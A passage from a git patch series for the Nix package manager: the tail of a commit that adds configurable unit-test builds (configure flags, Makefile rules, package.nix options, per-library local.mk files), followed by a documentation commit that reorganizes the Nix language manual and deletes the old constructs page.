 tests/unit/libstore/local.mk         | 38 +++++++++++++++++++++++
 tests/unit/libutil-support/local.mk  | 19 ++++++++++++
 tests/unit/libutil/local.mk          | 37 +++++++++++++++++++++++
 12 files changed, 337 insertions(+), 1 deletion(-)
 create mode 100644 tests/unit/libexpr-support/local.mk
 create mode 100644 tests/unit/libexpr/local.mk
 create mode 100644 tests/unit/libfetchers/local.mk
 create mode 100644 tests/unit/libflake/local.mk
 create mode 100644 tests/unit/libstore-support/local.mk
 create mode 100644 tests/unit/libstore/local.mk
 create mode 100644 tests/unit/libutil-support/local.mk
 create mode 100644 tests/unit/libutil/local.mk

diff --git a/Makefile b/Makefile
index a65cdbd40eb..bb64a104e72 100644
--- a/Makefile
+++ b/Makefile
@@ -38,6 +38,18 @@ makefiles += \
 endif
 endif
 
+ifeq ($(ENABLE_UNIT_TESTS), yes)
+makefiles += \
+  tests/unit/libutil/local.mk \
+  tests/unit/libutil-support/local.mk \
+  tests/unit/libstore/local.mk \
+  tests/unit/libstore-support/local.mk \
+  tests/unit/libfetchers/local.mk \
+  tests/unit/libexpr/local.mk \
+  tests/unit/libexpr-support/local.mk \
+  tests/unit/libflake/local.mk
+endif
+
 ifeq ($(ENABLE_FUNCTIONAL_TESTS), yes)
 ifdef HOST_UNIX
 makefiles += \
@@ -91,6 +103,13 @@ include mk/lib.mk
 # These must be defined after `mk/lib.mk`. Otherwise the first rule
 # incorrectly becomes the default target.
 
+ifneq ($(ENABLE_UNIT_TESTS), yes)
+.PHONY: check
+check:
+	@echo "Unit tests are disabled. Configure without '--disable-unit-tests', or avoid calling 'make check'."
+	@exit 1
+endif
+
 ifneq ($(ENABLE_FUNCTIONAL_TESTS), yes)
 .PHONY: installcheck
 installcheck:
diff --git a/Makefile.config.in b/Makefile.config.in
index e131484f61d..3100d207365 100644
--- a/Makefile.config.in
+++ b/Makefile.config.in
@@ -12,6 +12,7 @@ ENABLE_BUILD = @ENABLE_BUILD@
 ENABLE_DOC_GEN = @ENABLE_DOC_GEN@
 ENABLE_FUNCTIONAL_TESTS = @ENABLE_FUNCTIONAL_TESTS@
 ENABLE_S3 = @ENABLE_S3@
+ENABLE_UNIT_TESTS = @ENABLE_UNIT_TESTS@
 GTEST_LIBS = @GTEST_LIBS@
 HAVE_LIBCPUID = @HAVE_LIBCPUID@
 HAVE_SECCOMP = @HAVE_SECCOMP@
diff --git a/configure.ac b/configure.ac
index b9f1901664b..4f66a3efcf6 100644
--- a/configure.ac
+++ b/configure.ac
@@ -141,6 +141,18 @@ AC_ARG_ENABLE(build, AS_HELP_STRING([--disable-build],[Do not build nix]),
   ENABLE_BUILD=$enableval, ENABLE_BUILD=yes)
 AC_SUBST(ENABLE_BUILD)
 
+# Building without unit tests is useful for bootstrapping with a smaller footprint
+# or running the tests in a separate derivation. Otherwise, we do compile and
+# run them.
+
+AC_ARG_ENABLE(unit-tests, AS_HELP_STRING([--disable-unit-tests],[Do not build the tests]),
+  ENABLE_UNIT_TESTS=$enableval, ENABLE_UNIT_TESTS=$ENABLE_BUILD)
+AC_SUBST(ENABLE_UNIT_TESTS)
+
+AS_IF(
+  [test "$ENABLE_BUILD" == "no" && test "$ENABLE_UNIT_TESTS" == "yes"],
+  [AC_MSG_ERROR([Cannot enable unit tests when building overall is disabled. Please do not pass '--enable-unit-tests' or do not pass '--disable-build'.])])
+
 AC_ARG_ENABLE(functional-tests, AS_HELP_STRING([--disable-functional-tests],[Do not build the tests]),
   ENABLE_FUNCTIONAL_TESTS=$enableval, ENABLE_FUNCTIONAL_TESTS=yes)
 AC_SUBST(ENABLE_FUNCTIONAL_TESTS)
@@ -353,6 +365,16 @@ if test "$gc" = yes; then
   CFLAGS="$old_CFLAGS"
 fi
 
+AS_IF([test "$ENABLE_UNIT_TESTS" == "yes"],[
+
+# Look for gtest.
+PKG_CHECK_MODULES([GTEST], [gtest_main gmock_main])
+
+# Look for rapidcheck.
+PKG_CHECK_MODULES([RAPIDCHECK], [rapidcheck rapidcheck_gtest])
+
+])
+
 # Look for nlohmann/json.
 PKG_CHECK_MODULES([NLOHMANN_JSON], [nlohmann_json >= 3.9])
 
diff --git a/package.nix b/package.nix
index 041786d47fa..c3e565399e8 100644
--- a/package.nix
+++ b/package.nix
@@ -52,6 +52,10 @@
 # Whether to build Nix. Useful to skip for tasks like testing existing pre-built versions of Nix
 , doBuild ? true
 
+# Run the unit tests as part of the build. See `installUnitTests` for an
+# alternative to this.
+, doCheck ? __forDefaults.canRunInstalled
+
 # Run the functional tests as part of the build.
 , doInstallCheck ? test-client != null || __forDefaults.canRunInstalled
 
@@ -84,6 +88,11 @@
 # - readline
 , readlineFlavor ? if stdenv.hostPlatform.isWindows then "readline" else "editline"
 
+# Whether to install unit tests. This is useful when cross compiling
+# since we cannot run them natively during the build, but can do so
+# later.
+, installUnitTests ? doBuild && !__forDefaults.canExecuteHost
+
 # For running the functional tests against a pre-built Nix. Probably
 # want to use in conjunction with `doBuild = false;`.
 , test-daemon ? null
@@ -109,7 +118,7 @@ let
   # things which should instead be gotten via `finalAttrs` in order to
   # work with overriding.
   attrs = {
-    inherit doBuild doInstallCheck;
+    inherit doBuild doCheck doInstallCheck;
   };
 
   mkDerivation =
@@ -125,11 +134,16 @@ in
 mkDerivation (finalAttrs: let
 
   inherit (finalAttrs)
+    doCheck
     doInstallCheck
     ;
 
   doBuild = !finalAttrs.dontBuild;
 
+  # Either running the unit tests during the build, or installing them
+  # to be run later, requiresthe unit tests to be built.
+  buildUnitTests = doCheck || installUnitTests;
+
 in {
   inherit pname version;
 
@@ -163,6 +177,8 @@ in {
           ./scripts/local.mk
         ] ++ lib.optionals enableManual [
           ./doc/manual
+        ] ++ lib.optionals buildUnitTests [
+          ./tests/unit
         ] ++ lib.optionals doInstallCheck [
           ./tests/functional
         ]));
@@ -175,6 +191,8 @@ in {
     # If we are doing just build or just docs, the one thing will use
     # "out". We only need additional outputs if we are doing both.
     ++ lib.optional (doBuild && enableManual) "doc"
+    ++ lib.optional installUnitTests "check"
+    ++ lib.optional doCheck "testresults"
     ;
 
   nativeBuildInputs = [
@@ -212,6 +230,9 @@ in {
     ({ inherit readline editline; }.${readlineFlavor})
   ] ++ lib.optionals enableMarkdown [
     lowdown
+  ] ++ lib.optionals buildUnitTests [
+    gtest
+    rapidcheck
   ] ++ lib.optional stdenv.isLinux libseccomp
     ++ lib.optional stdenv.hostPlatform.isx86_64 libcpuid
     # There have been issues building these dependencies
@@ -228,16 +249,22 @@ in {
   ] ++ lib.optional enableGC boehmgc;
 
   dontBuild = !attrs.doBuild;
+  doCheck = attrs.doCheck;
 
   configureFlags = [
     (lib.enableFeature doBuild "build")
+    (lib.enableFeature buildUnitTests "unit-tests")
     (lib.enableFeature doInstallCheck "functional-tests")
     (lib.enableFeature enableManual "doc-gen")
     (lib.enableFeature enableGC "gc")
     (lib.enableFeature enableMarkdown "markdown")
+    (lib.enableFeature installUnitTests "install-unit-tests")
     (lib.withFeatureAs true "readline-flavor" readlineFlavor)
   ] ++ lib.optionals (!forDevShell) [
     "--sysconfdir=/etc"
+  ] ++ lib.optionals installUnitTests [
+    "--with-check-bin-dir=${builtins.placeholder "check"}/bin"
+    "--with-check-lib-dir=${builtins.placeholder "check"}/lib"
   ] ++ lib.optionals (doBuild) [
     "--with-boost=${boost}/lib"
   ] ++ lib.optionals (doBuild && stdenv.isLinux) [
@@ -318,6 +345,10 @@ in {
     platforms = lib.platforms.unix ++ lib.platforms.windows;
     mainProgram = "nix";
     broken = !(lib.all (a: a) [
+      # We cannot run or install unit tests if we don't build them or
+      # Nix proper (which they depend on).
+      (installUnitTests -> doBuild)
+      (doCheck -> doBuild)
       # The build process for the manual currently requires extracting
       # data from the Nix executable we are trying to document.
       (enableManual -> doBuild)
diff --git a/tests/unit/libexpr-support/local.mk b/tests/unit/libexpr-support/local.mk
new file mode 100644
index 00000000000..0501de33c43
--- /dev/null
+++ b/tests/unit/libexpr-support/local.mk
@@ -0,0 +1,23 @@
+libraries += libexpr-test-support
+
+libexpr-test-support_NAME = libnixexpr-test-support
+
+libexpr-test-support_DIR := $(d)
+
+ifeq ($(INSTALL_UNIT_TESTS), yes)
+  libexpr-test-support_INSTALL_DIR := $(checklibdir)
+else
+  libexpr-test-support_INSTALL_DIR :=
+endif
+
+libexpr-test-support_SOURCES := \
+    $(wildcard $(d)/tests/*.cc) \
+    $(wildcard $(d)/tests/value/*.cc)
+
+libexpr-test-support_CXXFLAGS += $(libexpr-tests_EXTRA_INCLUDES)
+
+libexpr-test-support_LIBS = \
+    libstore-test-support libutil-test-support \
+    libexpr libstore libutil
+
+libexpr-test-support_LDFLAGS := $(THREAD_LDFLAGS) -lrapidcheck
diff --git a/tests/unit/libexpr/local.mk b/tests/unit/libexpr/local.mk
new file mode 100644
index 00000000000..1617e282351
--- /dev/null
+++ b/tests/unit/libexpr/local.mk
@@ -0,0 +1,45 @@
+check: libexpr-tests_RUN
+
+programs += libexpr-tests
+
+libexpr-tests_NAME := libnixexpr-tests
+
+libexpr-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libexpr-tests.xml
+
+libexpr-tests_DIR := $(d)
+
+ifeq ($(INSTALL_UNIT_TESTS), yes)
+  libexpr-tests_INSTALL_DIR := $(checkbindir)
+else
+  libexpr-tests_INSTALL_DIR :=
+endif
+
+libexpr-tests_SOURCES := \
+    $(wildcard $(d)/*.cc) \
+    $(wildcard $(d)/value/*.cc) \
+    $(wildcard $(d)/flake/*.cc)
+
+libexpr-tests_EXTRA_INCLUDES = \
+    -I tests/unit/libexpr-support \
+    -I tests/unit/libstore-support \
+    -I tests/unit/libutil-support \
+    $(INCLUDE_libexpr) \
+    $(INCLUDE_libexprc) \
+    $(INCLUDE_libfetchers) \
+    $(INCLUDE_libstore) \
+    $(INCLUDE_libstorec) \
+    $(INCLUDE_libutil) \
+    $(INCLUDE_libutilc)
+
+libexpr-tests_CXXFLAGS += $(libexpr-tests_EXTRA_INCLUDES)
+
+libexpr-tests_LIBS = \
+    libexpr-test-support libstore-test-support libutil-test-support \
+    libexpr libexprc libfetchers libstore libstorec libutil libutilc
+
+libexpr-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) -lgmock
+
+ifdef HOST_WINDOWS
+  # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space
+  libexpr-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024)))
+endif
diff --git a/tests/unit/libfetchers/local.mk b/tests/unit/libfetchers/local.mk
new file mode 100644
index 00000000000..286a590304a
--- /dev/null
+++ b/tests/unit/libfetchers/local.mk
@@ -0,0 +1,37 @@
+check: libfetchers-tests_RUN
+
+programs += libfetchers-tests
+
+libfetchers-tests_NAME = libnixfetchers-tests
+
+libfetchers-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libfetchers-tests.xml
+
+libfetchers-tests_DIR := $(d)
+
+ifeq ($(INSTALL_UNIT_TESTS), yes)
+  libfetchers-tests_INSTALL_DIR := $(checkbindir)
+else
+  libfetchers-tests_INSTALL_DIR :=
+endif
+
+libfetchers-tests_SOURCES := $(wildcard $(d)/*.cc)
+
+libfetchers-tests_EXTRA_INCLUDES = \
+    -I tests/unit/libstore-support \
+    -I tests/unit/libutil-support \
+    $(INCLUDE_libfetchers) \
+    $(INCLUDE_libstore) \
+    $(INCLUDE_libutil)
+
+libfetchers-tests_CXXFLAGS += $(libfetchers-tests_EXTRA_INCLUDES)
+
+libfetchers-tests_LIBS = \
+    libstore-test-support libutil-test-support \
+    libfetchers libstore libutil
+
+libfetchers-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS)
+
+ifdef HOST_WINDOWS
+  # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space
+  libfetchers-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024)))
+endif
diff --git a/tests/unit/libflake/local.mk b/tests/unit/libflake/local.mk
new file mode 100644
index 00000000000..590bcf7c031
--- /dev/null
+++ b/tests/unit/libflake/local.mk
@@ -0,0 +1,43 @@
+check: libflake-tests_RUN
+
+programs += libflake-tests
+
+libflake-tests_NAME := libnixflake-tests
+
+libflake-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libflake-tests.xml
+
+libflake-tests_DIR := $(d)
+
+ifeq ($(INSTALL_UNIT_TESTS), yes)
+  libflake-tests_INSTALL_DIR := $(checkbindir)
+else
+  libflake-tests_INSTALL_DIR :=
+endif
+
+libflake-tests_SOURCES := \
+    $(wildcard $(d)/*.cc) \
+    $(wildcard $(d)/value/*.cc) \
+    $(wildcard $(d)/flake/*.cc)
+
+libflake-tests_EXTRA_INCLUDES = \
+    -I tests/unit/libflake-support \
+    -I tests/unit/libstore-support \
+    -I tests/unit/libutil-support \
+    $(INCLUDE_libflake) \
+    $(INCLUDE_libexpr) \
+    $(INCLUDE_libfetchers) \
+    $(INCLUDE_libstore) \
+    $(INCLUDE_libutil) \
+
+libflake-tests_CXXFLAGS += $(libflake-tests_EXTRA_INCLUDES)
+
+libflake-tests_LIBS = \
+    libexpr-test-support libstore-test-support libutil-test-support \
+    libflake libexpr libfetchers libstore libutil
+
+libflake-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) -lgmock
+
+ifdef HOST_WINDOWS
+  # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space
+  libflake-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024)))
+endif
diff --git a/tests/unit/libstore-support/local.mk b/tests/unit/libstore-support/local.mk
new file mode 100644
index 00000000000..56dedd825d8
--- /dev/null
+++ b/tests/unit/libstore-support/local.mk
@@ -0,0 +1,21 @@
+libraries += libstore-test-support
+
+libstore-test-support_NAME = libnixstore-test-support
+
+libstore-test-support_DIR := $(d)
+
+ifeq ($(INSTALL_UNIT_TESTS), yes)
+  libstore-test-support_INSTALL_DIR := $(checklibdir)
+else
+  libstore-test-support_INSTALL_DIR :=
+endif
+
+libstore-test-support_SOURCES := $(wildcard $(d)/tests/*.cc)
+
+libstore-test-support_CXXFLAGS += $(libstore-tests_EXTRA_INCLUDES)
+
+libstore-test-support_LIBS = \
+    libutil-test-support \
+    libstore libutil
+
+libstore-test-support_LDFLAGS := $(THREAD_LDFLAGS) -lrapidcheck
diff --git a/tests/unit/libstore/local.mk b/tests/unit/libstore/local.mk
new file mode 100644
index 00000000000..8d3d6b0afe2
--- /dev/null
+++ b/tests/unit/libstore/local.mk
@@ -0,0 +1,38 @@
+check: libstore-tests_RUN
+
+programs += libstore-tests
+
+libstore-tests_NAME = libnixstore-tests
+
+libstore-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libstore-tests.xml
+
+libstore-tests_DIR := $(d)
+
+ifeq ($(INSTALL_UNIT_TESTS), yes)
+  libstore-tests_INSTALL_DIR := $(checkbindir)
+else
+  libstore-tests_INSTALL_DIR :=
+endif
+
+libstore-tests_SOURCES := $(wildcard $(d)/*.cc)
+
+libstore-tests_EXTRA_INCLUDES = \
+    -I tests/unit/libstore-support \
+    -I tests/unit/libutil-support \
+    $(INCLUDE_libstore) \
+    $(INCLUDE_libstorec) \
+    $(INCLUDE_libutil) \
+    $(INCLUDE_libutilc)
+
+libstore-tests_CXXFLAGS += $(libstore-tests_EXTRA_INCLUDES)
+
+libstore-tests_LIBS = \
+    libstore-test-support libutil-test-support \
+    libstore libstorec libutil libutilc
+
+libstore-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS)
+
+ifdef HOST_WINDOWS
+  # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space
+  libstore-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024)))
+endif
diff --git a/tests/unit/libutil-support/local.mk b/tests/unit/libutil-support/local.mk
new file mode 100644
index 00000000000..5f7835c9f61
--- /dev/null
+++ b/tests/unit/libutil-support/local.mk
@@ -0,0 +1,19 @@
+libraries += libutil-test-support
+
+libutil-test-support_NAME = libnixutil-test-support
+
+libutil-test-support_DIR := $(d)
+
+ifeq ($(INSTALL_UNIT_TESTS), yes)
+  libutil-test-support_INSTALL_DIR := $(checklibdir)
+else
+  libutil-test-support_INSTALL_DIR :=
+endif
+
+libutil-test-support_SOURCES := $(wildcard $(d)/tests/*.cc)
+
+libutil-test-support_CXXFLAGS += $(libutil-tests_EXTRA_INCLUDES)
+
+libutil-test-support_LIBS = libutil
+
+libutil-test-support_LDFLAGS := $(THREAD_LDFLAGS) -lrapidcheck
diff --git a/tests/unit/libutil/local.mk b/tests/unit/libutil/local.mk
new file mode 100644
index 00000000000..404f35cf1ac
--- /dev/null
+++ b/tests/unit/libutil/local.mk
@@ -0,0 +1,37 @@
+check: libutil-tests_RUN
+
+programs += libutil-tests
+
+libutil-tests_NAME = libnixutil-tests
+
+libutil-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libutil-tests.xml
+
+libutil-tests_DIR := $(d)
+
+ifeq ($(INSTALL_UNIT_TESTS), yes)
+  libutil-tests_INSTALL_DIR := $(checkbindir)
+else
+  libutil-tests_INSTALL_DIR :=
+endif
+
+libutil-tests_SOURCES := $(wildcard $(d)/*.cc)
+
+libutil-tests_EXTRA_INCLUDES = \
+    -I tests/unit/libutil-support \
+    $(INCLUDE_libutil) \
+    $(INCLUDE_libutilc)
+
+libutil-tests_CXXFLAGS += $(libutil-tests_EXTRA_INCLUDES)
+
+libutil-tests_LIBS = libutil-test-support libutil libutilc
+
+libutil-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS)
+
+ifdef HOST_WINDOWS
+  # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space
+  libutil-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024)))
+endif
+
+check: $(d)/data/git/check-data.sh.test
+
+$(eval $(call run-test,$(d)/data/git/check-data.sh))

From a713476790c62a4c3b22ebc17bbd46ef75e96eb8 Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Wed, 3 Jul 2024 09:03:41 +0200
Subject: [PATCH 494/528] docs: split types from syntax (#11013)

move together all syntactic and semantic information into one
page, and add a page on data types, which in turn links to the syntax and
semantics.

also split out the note on scoping rules into its own page.

Co-authored-by: Ryan Hendrickson <ryan.hendrickson@alum.mit.edu>
---
 doc/manual/redirects.js                       |  14 +-
 doc/manual/src/SUMMARY.md.in                  |   7 +-
 doc/manual/src/_redirects                     |   2 +
 doc/manual/src/command-ref/env-common.md      |   2 +-
 doc/manual/src/command-ref/nix-env/install.md |   2 +-
 doc/manual/src/command-ref/opt-common.md      |   2 +-
 doc/manual/src/glossary.md                    |   8 +-
 doc/manual/src/language/constructs.md         | 486 ----------
 .../src/language/constructs/lookup-path.md    |   2 +-
 doc/manual/src/language/derivations.md        |  10 +-
 doc/manual/src/language/index.md              |  60 +-
 doc/manual/src/language/operators.md          |  16 +-
 doc/manual/src/language/scope.md              |  14 +
 doc/manual/src/language/string-context.md     |   2 +-
 .../src/language/string-interpolation.md      |   6 +-
 doc/manual/src/language/syntax.md             | 841 ++++++++++++++++++
 doc/manual/src/language/types.md              |  91 ++
 doc/manual/src/language/values.md             | 374 --------
 src/libcmd/common-eval-args.cc                |   2 +-
 src/libexpr/primops.cc                        |  23 +-
 20 files changed, 1029 insertions(+), 935 deletions(-)
 delete mode 100644 doc/manual/src/language/constructs.md
 create mode 100644 doc/manual/src/language/scope.md
 create mode 100644 doc/manual/src/language/syntax.md
 create mode 100644 doc/manual/src/language/types.md
 delete mode 100644 doc/manual/src/language/values.md

diff --git a/doc/manual/redirects.js b/doc/manual/redirects.js
index f7b479106a2..0f9f91b037f 100644
--- a/doc/manual/redirects.js
+++ b/doc/manual/redirects.js
@@ -238,12 +238,12 @@ const redirects = {
     "attr-system": "language/derivations.html#attr-system",
     "ssec-derivation": "language/derivations.html",
     "ch-expression-language": "language/index.html",
-    "sec-constructs": "language/constructs.html",
-    "sect-let-language": "language/constructs.html#let-language",
-    "ss-functions": "language/constructs.html#functions",
+    "sec-constructs": "language/syntax.html",
+    "sect-let-language": "language/syntax.html#let-expressions",
+    "ss-functions": "language/syntax.html#functions",
     "sec-language-operators": "language/operators.html",
     "table-operators": "language/operators.html",
-    "ssec-values": "language/values.html",
+    "ssec-values": "language/types.html",
     "gloss-closure": "glossary.html#gloss-closure",
     "gloss-derivation": "glossary.html#gloss-derivation",
     "gloss-deriver": "glossary.html#gloss-deriver",
@@ -335,11 +335,15 @@ const redirects = {
     "ssec-relnotes-2.2": "release-notes/rl-2.2.html",
     "ssec-relnotes-2.3": "release-notes/rl-2.3.html",
   },
-  "language/values.html": {
+  "language/types.html": {
     "simple-values": "#primitives",
     "lists": "#list",
     "strings": "#string",
     "attribute-sets": "#attribute-set",
+    "type-number": "#type-int",
+  },
+  "language/syntax.html": {
+    "scoping-rules": "scoping.html",
   },
   "installation/installing-binary.html": {
     "linux": "uninstall.html#linux",
diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in
index cb54a3822d1..6e5c1aee17a 100644
--- a/doc/manual/src/SUMMARY.md.in
+++ b/doc/manual/src/SUMMARY.md.in
@@ -25,11 +25,12 @@
   - [Store Types](store/types/index.md)
 {{#include ./store/types/SUMMARY.md}}
 - [Nix Language](language/index.md)
-  - [Data Types](language/values.md)
-  - [Language Constructs](language/constructs.md)
+  - [Data Types](language/types.md)
+    - [String context](language/string-context.md)
+  - [Syntax and semantics](language/syntax.md)
+    - [Scoping rules](language/scope.md)
     - [String interpolation](language/string-interpolation.md)
     - [Lookup path](language/constructs/lookup-path.md)
-    - [String context](language/string-context.md)
   - [Operators](language/operators.md)
   - [Derivations](language/derivations.md)
     - [Advanced Attributes](language/advanced-attributes.md)
diff --git a/doc/manual/src/_redirects b/doc/manual/src/_redirects
index 7f8edca8e64..c52ca0dddfa 100644
--- a/doc/manual/src/_redirects
+++ b/doc/manual/src/_redirects
@@ -27,6 +27,8 @@
 /expressions/language-operators /language/operators 301!
 /expressions/language-values /language/values 301!
 /expressions/* /language/:splat 301!
+/language/values /language/types 301!
+/language/constructs /language/syntax 301!
 
 /installation/installation /installation 301!
 
diff --git a/doc/manual/src/command-ref/env-common.md b/doc/manual/src/command-ref/env-common.md
index 34e0dbfbd91..d3f5f9c1443 100644
--- a/doc/manual/src/command-ref/env-common.md
+++ b/doc/manual/src/command-ref/env-common.md
@@ -10,7 +10,7 @@ Most Nix commands interpret the following environment variables:
 - <span id="env-NIX_PATH">[`NIX_PATH`](#env-NIX_PATH)</span>
 
   A colon-separated list of directories used to look up the location of Nix
-  expressions using [paths](@docroot@/language/values.md#type-path)
+  expressions using [paths](@docroot@/language/types.md#type-path)
   enclosed in angle brackets (i.e., `<path>`),
   e.g. `/home/eelco/Dev:/etc/nixos`. It can be extended using the
   [`-I` option](@docroot@/command-ref/opt-common.md#opt-I).
diff --git a/doc/manual/src/command-ref/nix-env/install.md b/doc/manual/src/command-ref/nix-env/install.md
index 76aa70f71b9..748dd1e7a39 100644
--- a/doc/manual/src/command-ref/nix-env/install.md
+++ b/doc/manual/src/command-ref/nix-env/install.md
@@ -57,7 +57,7 @@ The arguments *args* map to store paths in a number of possible ways:
   easy way to copy user environment elements from one profile to
   another.
 
-- If `--from-expression` is given, *args* are [Nix language functions](@docroot@/language/constructs.md#functions) that are called with the [default Nix expression] as their single argument.
+- If `--from-expression` is given, *args* are [Nix language functions](@docroot@/language/syntax.md#functions) that are called with the [default Nix expression] as their single argument.
   The derivations returned by those function calls are installed.
   This allows derivations to be specified in an unambiguous way, which is necessary if there are multiple derivations with the same name.
 
diff --git a/doc/manual/src/command-ref/opt-common.md b/doc/manual/src/command-ref/opt-common.md
index 114b292f930..a42909e2d13 100644
--- a/doc/manual/src/command-ref/opt-common.md
+++ b/doc/manual/src/command-ref/opt-common.md
@@ -143,7 +143,7 @@ Most Nix commands accept the following command-line options:
 
   This option is accepted by `nix-env`, `nix-instantiate`, `nix-shell` and `nix-build`.
   When evaluating Nix expressions, the expression evaluator will automatically try to call functions that it encounters.
-  It can automatically call functions for which every argument has a [default value](@docroot@/language/constructs.md#functions) (e.g., `{ argName ?  defaultValue }: ...`).
+  It can automatically call functions for which every argument has a [default value](@docroot@/language/syntax.md#functions) (e.g., `{ argName ?  defaultValue }: ...`).
 
   With `--arg`, you can also call functions that have arguments without a default value (or override a default value).
   That is, if the evaluator encounters a function with an argument named *name*, it will call it with value *value*.
diff --git a/doc/manual/src/glossary.md b/doc/manual/src/glossary.md
index 4c9b2c52e51..f65ada63a5c 100644
--- a/doc/manual/src/glossary.md
+++ b/doc/manual/src/glossary.md
@@ -312,7 +312,7 @@
 
 - [package attribute set]{#package-attribute-set}
 
-  An [attribute set](@docroot@/language/values.md#attribute-set) containing the attribute `type = "derivation";` (derivation for historical reasons), as well as other attributes, such as
+  An [attribute set](@docroot@/language/types.md#attribute-set) containing the attribute `type = "derivation";` (derivation for historical reasons), as well as other attributes, such as
   - attributes that refer to the files of a [package], typically in the form of [derivation outputs](#output),
   - attributes that declare something about how the package is supposed to be installed or used,
   - other metadata or arbitrary attributes.
@@ -325,9 +325,9 @@
 
   See [String interpolation](./language/string-interpolation.md) for details.
 
-  [string]: ./language/values.md#type-string
-  [path]: ./language/values.md#type-path
-  [attribute name]: ./language/values.md#attribute-set
+  [string]: ./language/types.md#type-string
+  [path]: ./language/types.md#type-path
+  [attribute name]: ./language/types.md#attribute-set
 
 - [base directory]{#gloss-base-directory}
 
diff --git a/doc/manual/src/language/constructs.md b/doc/manual/src/language/constructs.md
deleted file mode 100644
index 491d221b388..00000000000
--- a/doc/manual/src/language/constructs.md
+++ /dev/null
@@ -1,486 +0,0 @@
-# Language Constructs
-
-## Recursive sets
-
-Recursive sets are like normal [attribute sets](./values.md#attribute-set), but the attributes can refer to each other.
-
-> *rec-attrset* = `rec {` [ *name* `=` *expr* `;` `]`... `}`
-
-Example:
-
-```nix
-rec {
-  x = y;
-  y = 123;
-}.x
-```
-
-This evaluates to `123`.
-
-Note that without `rec` the binding `x = y;` would
-refer to the variable `y` in the surrounding scope, if one exists, and
-would be invalid if no such variable exists. That is, in a normal
-(non-recursive) set, attributes are not added to the lexical scope; in a
-recursive set, they are.
-
-Recursive sets of course introduce the danger of infinite recursion. For
-example, the expression
-
-```nix
-rec {
-  x = y;
-  y = x;
-}.x
-```
-
-will crash with an `infinite recursion encountered` error message.
-
-## Let-expressions
-
-A let-expression allows you to define local variables for an expression.
-
-> *let-in* = `let` [ *identifier* = *expr* ]... `in` *expr*
-
-Example:
-
-```nix
-let
-  x = "foo";
-  y = "bar";
-in x + y
-```
-
-This evaluates to `"foobar"`.
-
-## Inheriting attributes
-
-When defining an [attribute set](./values.md#attribute-set) or in a [let-expression](#let-expressions) it is often convenient to copy variables from the surrounding lexical scope (e.g., when you want to propagate attributes).
-This can be shortened using the `inherit` keyword.
-
-Example:
-
-```nix
-let x = 123; in
-{
-  inherit x;
-  y = 456;
-}
-```
-
-is equivalent to
-
-```nix
-let x = 123; in
-{
-  x = x;
-  y = 456;
-}
-```
-
-and both evaluate to `{ x = 123; y = 456; }`.
-
-> **Note**
->
-> This works because `x` is added to the lexical scope by the `let` construct.
-
-It is also possible to inherit attributes from another attribute set.
-
-Example:
-
-In this fragment from `all-packages.nix`,
-
-```nix
-graphviz = (import ../tools/graphics/graphviz) {
-  inherit fetchurl stdenv libpng libjpeg expat x11 yacc;
-  inherit (xorg) libXaw;
-};
-
-xorg = {
-  libX11 = ...;
-  libXaw = ...;
-  ...
-}
-
-libpng = ...;
-libjpg = ...;
-...
-```
-
-the set used in the function call to the function defined in
-`../tools/graphics/graphviz` inherits a number of variables from the
-surrounding scope (`fetchurl` ... `yacc`), but also inherits `libXaw`
-(the X Athena Widgets) from the `xorg` set.
-
-Summarizing the fragment
-
-```nix
-...
-inherit x y z;
-inherit (src-set) a b c;
-...
-```
-
-is equivalent to
-
-```nix
-...
-x = x; y = y; z = z;
-a = src-set.a; b = src-set.b; c = src-set.c;
-...
-```
-
-when used while defining local variables in a let-expression or while
-defining a set.
-
-In a `let` expression, `inherit` can be used to selectively bring specific attributes of a set into scope. For example
-
-
-```nix
-let
-  x = { a = 1; b = 2; };
-  inherit (builtins) attrNames;
-in
-{
-  names = attrNames x;
-}
-```
-
-is equivalent to
-
-```nix
-let
-  x = { a = 1; b = 2; };
-in
-{
-  names = builtins.attrNames x;
-}
-```
-
-both evaluate to `{ names = [ "a" "b" ]; }`.
-
-## Functions
-
-Functions have the following form:
-
-```nix
-pattern: body
-```
-
-The pattern specifies what the argument of the function must look like,
-and binds variables in the body to (parts of) the argument. There are
-three kinds of patterns:
-
-  - If a pattern is a single identifier, then the function matches any
-    argument. Example:
-
-    ```nix
-    let negate = x: !x;
-        concat = x: y: x + y;
-    in if negate true then concat "foo" "bar" else ""
-    ```
-
-    Note that `concat` is a function that takes one argument and returns
-    a function that takes another argument. This allows partial
-    parameterisation (i.e., only filling some of the arguments of a
-    function); e.g.,
-
-    ```nix
-    map (concat "foo") [ "bar" "bla" "abc" ]
-    ```
-
-    evaluates to `[ "foobar" "foobla" "fooabc" ]`.
-
-  - A *set pattern* of the form `{ name1, name2, …, nameN }` matches a
-    set containing the listed attributes, and binds the values of those
-    attributes to variables in the function body. For example, the
-    function
-
-    ```nix
-    { x, y, z }: z + y + x
-    ```
-
-    can only be called with a set containing exactly the attributes `x`,
-    `y` and `z`. No other attributes are allowed. If you want to allow
-    additional arguments, you can use an ellipsis (`...`):
-
